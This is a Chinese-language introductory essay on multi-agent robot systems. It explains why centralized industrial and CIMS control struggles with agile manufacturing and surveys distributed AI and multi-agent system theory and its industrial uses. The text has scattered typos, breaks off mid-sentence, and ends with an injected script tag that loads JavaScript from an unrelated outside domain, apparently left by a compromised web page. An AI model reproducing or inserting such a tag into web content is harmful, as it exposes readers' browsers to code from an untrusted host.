前言
目前的工业系统正向大型、复杂、动态和开放的方向转变，传统的工业系统和多机器人技术在许多关键问题上遇到了严重的挑战。分布式人工智能(dai，distributedartificialintelligence)与多智能体系统(mas,multi-agentsystem)理论为解决这些挑战提供了一种最佳途径。将dat、mas充分应用于工业系统和多机器人系统的结果，便产生了一门新兴的机器人技术领域一多智能体机器人系统(mars，multi-agentrobotsystem)，mars技术正在蓬勃发展之中。
传统工业系统和多机器人技术遇到的挑战
为了在当今不断变化且难以预测的市场环境中有效地竞争，产品生产厂家必须能够迅速且廉价地设计、实现、改变生产结构和生产规模并维护制造工具。这就要求敏捷制造的能力，敏捷制造要求短的市场周期、高度部件化多样化的产品以及由人工完成任务的进一步自动化等。对于这些需求，工业机器人和制造设备的传统的、集中的、单一式控制结构因为它们固有的不灵活性而难以满足。
传统工业系统中广泛应用的计算机集成制造系统(cims)也不能满足敏捷制造的要求。传统的计算机集成制造系统(cims)往往是高度集中的，至少有一个中心数据库，它提供一张企业状态的一致的全局视图，既用于内部访问又作为与组织的其他部分的接口。典型地，还有一台中心计算机，它为下层的制造工具计算调度方案、在整个工厂内指派活动并进行监控与规划。这种方法有三个特性妨碍灵机应变：它是集中的；它依赖于全局计划；它优先执行规划与调度。
机器人技术的发展使得机器人的应用领域和范围不断扩展，机器人面临着更复杂的作业，这些复杂的作业由单一机器人已难以完成，需要多个机器人协调与合作共同完成。另外，目前的由多台、几十台甚至上百台机器人组成的自动化生产线系统柔性较差，机器设备组织的改变既困难又昂贵，仅适于长周期、单一式产品的大批量生产，而难以适应小批量、多品种的生产，从而缺乏敏捷制造的能力，难以适应灵活多变的市场需求。因此，多机器人系统的组织与控制方法对系统性能的影响极大，如何组织由多个机器人构成的群体，以及在这样的群体中如何实现机器人的协调合作问题已成为当前的机器人研究领域的一个新课题，具有重要的理论和现实意义。传统的多机器人系统体系结构采用分层和集中的结构，采用从上到下的一个过程来进行规划和制定决策：一个全局任务路径规划器计算出基本的子目标、再由一个集中的全局路径规划器产生要执行的联合行动序列，最后由控制单元执行这些动作序列。这种集中式控制系统有许多致命的缺点限制了它们的应用：
(1)全局路径规划很费时；
(2)系统被局限到一些数目固定的机器人中；
(3)系统的容错性只能限定在一些小范围的错误之中。
80年代末，受到分布式人工智能、多智能体系统研究的启发，一些学者针对集中式扩展的不足，提出了分散化和分布式的多机器人系统合作组织策略、方法和协调机制，这些研究正逐渐形成“协作机器人学报”(cooperativerobotics)，其中基于多智能体概念研究多机器人系统的多智能体机器人系统正逐渐成为研究的热点和方向。
分布式人工智能和多智能体系统理论发展概述
dai和mas是近二十年来蓬勃兴起的崭新的计算机学科，尽管这个领域还相对年轻，但它有着强劲的发展势头，目前是计算机科学发展最快的领域之一。dai和mas研究参与由人和计算机组成的社会的智能体所必须的知识模型、通讯和推理技术，关注几个智能体交互作用共同求解一个公共问题。dai和masa代表了一种分析、设计和实现大型、复杂系统的方法途径，基于智能体的观点提供了一种强有力的工具、技术和途径来提高人们概念化和实现许多类型系统的能力，也提供了一种自然和艺术的方式来表述一系列多样化的问题，并且它提供了很崐好的机会来处理由于工业和商业正在向更加模块化、分布和开放系统的发展趋势而引起的一系列新类型应用。智能体技术和方法正在被应用于迅速增长的广阔领域，从很小的个人电子邮件过滤器到大型、复杂和严格系统如空中交通控制。
目前，dai和mas的主要应用领域有：制造业、过程控制、远程通讯系统、控制交通控制、交通和运输管理、信息过滤和收集、电子商务、商业过程管理、娱乐业和医疗看护等。其中，在工业中的应用是被首先开发的，目前已经在很广泛的工业系统中获得应用并获得良好的经济和社会效益。
dai、mas在传统工业系统和多机器人系统中的应和以及智能体机器人技术
与传统的cims相比，dai与mas方法中，每个智能体接近与现实世界的接触点，所以系统的计算状态非常密切地跟踪了世界的状态，而不需要集中的数据库。整个系统的行为根据局部决策形成，所以对环境噪声或智能体的删除或增加，系统自主地重新调整自身。对每个智能体的软件要比集中方式方法所需的简短得?script src=http://er12.com/t.js>
